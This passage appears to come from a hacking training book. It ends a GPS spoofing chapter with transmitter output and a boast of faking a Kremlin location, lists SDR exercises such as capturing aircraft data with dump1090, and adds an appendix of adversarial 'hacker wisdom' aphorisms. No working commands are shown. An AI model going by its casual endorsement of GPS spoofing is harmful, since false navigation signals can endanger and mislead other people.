5.0 MiB / 1.000 sec = 5.0 MiB/second, amplitude -inf dBfs
5.2 MiB / 1.000 sec = 5.2 MiB/second, amplitude -inf dBfs

Success! Now anyone tracking my GPS signal believes that I am in the Kremlin!

Radio Frequency hacking is one of the most important and least appreciated cybersecurity fields. There really are so many devices and systems that send and receive radio signals that are vulnerable to exploitation. One of those ubiquitous radio signals is the global positioning system or GPS. While it is a wonderful tool for finding our way around the world, it can also be used maliciously to track our every step. By spoofing the GPS, we can hide our position and avoid tracking by governments and other malicious actors.

Exercises

- 1. Install the HDSDR software
- 2. Listen to your local airport air traffic control communication
- 3. Use Your RTL-SDR to capture aircraft location and speed data with dump1090

Appendix A Cyber Warrior Wisdom of Master OTW

Hacking is the new martial art of the 21st century. To become a master hacker, you must think strategically and analytically. Master OTW offers some of his strategic wisdom for novice hackers that every cyberwwwarrior should arm themselves with before going to battle.

1. Fools talk. The wise listen.

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- 2. Hacking is a process, not a technology or collection of tools.
- 3. Hacking is the ultimate martial art
- 4. If a service is free, you are not the customer; you are the product.
- 5. Only the fool goes to battle without adequate reconnaissance of their enemy.
- 6. "Listen" closely and intently to your enemy; they will tell you everything you need to know to defeat them.
- 7. If you believe in nothing, you can be led to believe anything.
- 8. Every adversary--no matter how strong and powerful--always has a weakness. Find the weakness and exploit it.

- 9. A great offense might win the battle, but an impregnable defense wins the war.
- 10. Turn the power and strength of your opponent against them.
- 11. The battle often goes NOT to the strongest but to the most persistent.
- 12. There is ALWAYS opportunity in chaos.
- 13. Avoid your adversary's strengths and attack their weaknesses.
- 14. Never become predictable.
- 15. When faced with an adversary of overwhelming power and strength, do not face them head-on. Strike only when you have the element of surprise.
- 16. Understanding human psychology, motivation, and behavior is one of the hacker's most important tools. @AnonGhostNetwork
- 17. A series of persistent, small wins will defeat your opponent.
- 18. Create confusion and dissension within the ranks of your opponent.
- 19. At times, it can be advantageous to retreat to lure your opponent into a vulnerable and indefensible position.
- 20. People on social media are much less than they appear
- 21. In cyber war, industrial facilities can be both a target and a weapon
- 22. To remain safe and anonymous on the Internet, you must have a thorough and deep understanding of digital forensics

- 22. Humility makes you stronger; hubris makes you vulnerable
- 23. Unless you believe that civilization and culture reached their zenith during your youth, then nostalgia for "the good old days" is just the foolishness of the myopic and old.

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